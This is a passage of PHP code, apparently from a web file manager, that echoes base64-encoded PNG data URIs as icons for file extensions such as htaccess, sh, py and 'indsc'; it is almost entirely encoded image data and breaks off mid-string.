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"; } elseif ($ext == "htaccess") { echo "data:image/png;base64,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"; } elseif ($ext == "sh") { echo "data:image/png;base64,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"; } elseif ($ext == "py") { echo "data:image/png;base64,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"; } elseif ($ext == "indsc") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAgAAAAIACAYAAAD0eNT6AAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAMOAAADDgB22m8jwAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAACAASURBVHic7d19cGV3fd/xzznnPktarVb7oF1b1nptXPAal3HKMKbQBMI0lCHYtIV0Ck0TwgxDGaANCSWkkMmEp5KHSQrhoSU0hRBCgWIgpJOUhmYAM4wnhPDk2GbXe1faXWm1erzSfT7n9A8Jx0+7q5Xuvd/fPb/3a2bHM4zR/Xile89b5557b5CmqbB71ersYUnPlnTscX+Obv9zUlJgNhCA0+YvXPzNJEn+453PfiYPxhiogAC4dtXq7M2S7t7+c6ek0HYRgGF1/tz8oqTPSHodEYBBIgB2qFqdvV3Sz0i6S9JJ4zkAMmI7AA5J+qCIAAwQAXAV1ersTZLeJell4lQ+gB57VABIRAAGiFPXl1Gtzh6uVmffJ+l+SS8XB38A/fdaSb//jXvv4/EGfccZgMepVmdHJL1J0i9JGjOeAyDjHncG4Ec4E4C+4wzAo1SrsyclfUfSr4uDPwA7nAlA3xEA26rV2RdL+oakE9ZbAEBEAPqMAJBUrc6+WdLnxW/9ANxCBKBvvA6AanW2WK3OfkzSf5bnfxcAnEUEoC+8PehVq7MlSV+W9G+stwDAVRAB6DlvA0DSRyQ9x3oEAOwQEYCe8jIAqtXZt0h6hfUOALhGRAB6xrsAqFZnf1rSO613AMAuEQHoCa8CoFqdvU3SJ+TZfzeAzCECsGfeHAir1dkxSV8QL/UDkA1EAPbEmwDQ1lv73mg9AgB6iAjArnkRANXq7JS23t8fALKGCMCueBEAkn5N0oj1CADoEyIA1yzzAVCtzt4i6dXWOwCgz4gAXJPMB4Ckd0nKWY8AgAEgArBjmQ6AanX2Dkn/wnoHAAwQEYAdyXQASPpX1gMAwAARgKvKegDcbT0AAIwQAbiizAZAtTp7q6SnWO8AAENEAC4rswEg6S7rAQDgACIATyrLV8cP7en/IAgUhqHCMFAQhgrDUEGQtftuqiRO1Y27irux9Rgg6